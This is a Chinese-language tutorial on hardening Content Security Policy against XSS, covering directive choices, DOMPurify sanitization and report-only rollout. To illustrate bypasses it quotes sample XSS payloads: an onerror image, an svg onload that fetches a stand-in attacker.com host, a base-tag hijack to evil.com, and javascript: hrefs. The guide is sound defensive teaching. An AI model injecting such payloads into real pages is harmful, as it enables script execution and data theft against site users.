仅设 script-src 'self' 无法防XSS,因默认不限制内联事件、javascript:协议、eval()等;需配合default-src 'none'、显式声明各资源类型、服务端HTML净化及report-only模式观测。

为什么只加 script-src 'self' 会失效
很多人以为在响应头里写上 Content-Security-Policy: script-src 'self' 就能防住 XSS,结果上线后还是被 <img onerror="alert(1)" alt="结合网站内容安全策略的HTML代码质量防御性整改" > 或 <svg onload="fetch('//attacker.com')"></svg> 打穿。问题出在:这个策略默认不限制内联事件、javascript: 协议、eval(),甚至不限制 style-src 和 base-uri —— 攻击者根本不用写 <script></script> 标签。
-
onerror、onclick、onload等事件属性仍可执行,只要 HTML 被原样渲染 -
javascript:伪协议在a href、iframe src中依然生效 - 没设
base-uri?攻击者可以插入<base href="https://evil.com">劫持所有相对路径资源 - 没禁
object-src?Flash、Java 插件可能被滥用(尤其老系统)
default-src 'none' 是起点,不是终点
用 default-src 'none' 确实能强制你显式声明每类资源,但直接套用会导致页面白屏或功能异常——比如图片不显示、字体加载失败、内联样式失效。必须按需放开,且优先用最小权限原则。
-
img-src 'self' data:→ 允许同源图 + base64 图标,禁掉blob:和远程 http 图 -
style-src 'self' 'unsafe-inline'→ 若必须用内联 style(如 SSR 渲染的动态颜色),保留'unsafe-inline';否则改用外部 CSS +nonce -
font-src 'self'→ 不要漏掉,否则自定义字体失效 -
connect-src 'self' https://api.example.com→ 显式列出所有合法 API 域名,禁掉*和未声明域名
如何安全地支持富文本中的 img 和 a
用户发帖、评论、后台编辑器常需保留部分 HTML 标签,但直接放行 img 或 a 会引入 src 和 href 协议风险。不能只靠前端 JS 过滤,得靠 CSP 配合服务端净化双重兜底。
-
img-src https: data:→ 强制图片只能走 HTTPS 或 data URI,拦截http:、file:、javascript: -
a标签本身不危险,但href可能是javascript:alert(1)或data:text/html,...,需服务端用DOMPurify.sanitize()并配置ALLOWED_URI_REGEXP只放行^https?:\/\/和^\/ - 若允许站内跳转,用
base-uri 'self'+form-action 'self'防止表单被劫持提交到第三方 - 避免在富文本渲染处用
innerHTML,优先用textContent渲染纯文本字段,HTML 字段走净化后 DOM 插入
开发期必须开 Content-Security-Policy-Report-Only
直接上线 blocking 模式的 CSP 很容易把正常功能拦死,尤其涉及第三方 SDK、CDN 脚本、动态生成的内联代码。先用 report-only 模式收集真实违规行为,比凭空猜白名单靠谱得多。
立即学习“前端免费学习笔记(深入)”;
- 响应头设为
Content-Security-Policy-Report-Only: default-src 'none'; report-uri /csp-report - 后端建
/csp-report接口接收 JSON 报告,解析violated-directive和blocked-uri字段 - 注意:浏览器不会上报跨域资源的完整 URL(只报域名),所以报告里看到
blocked-uri: "https://cdn.example.com"时,得结合实际页面资源链路排查 - 别忽略
frame-ancestors和form-action的 report-only 日志——这两项常被遗漏,却是点击劫持和 CSRF 的关键防线
CSP 不是“开个头就完事”的配置,它依赖每个资源类型的显式声明、每次部署前的 report-only 观测、以及与服务端 HTML 净化(如 DOMPurify)的协同。漏掉任意一层,都可能让策略形同虚设。



















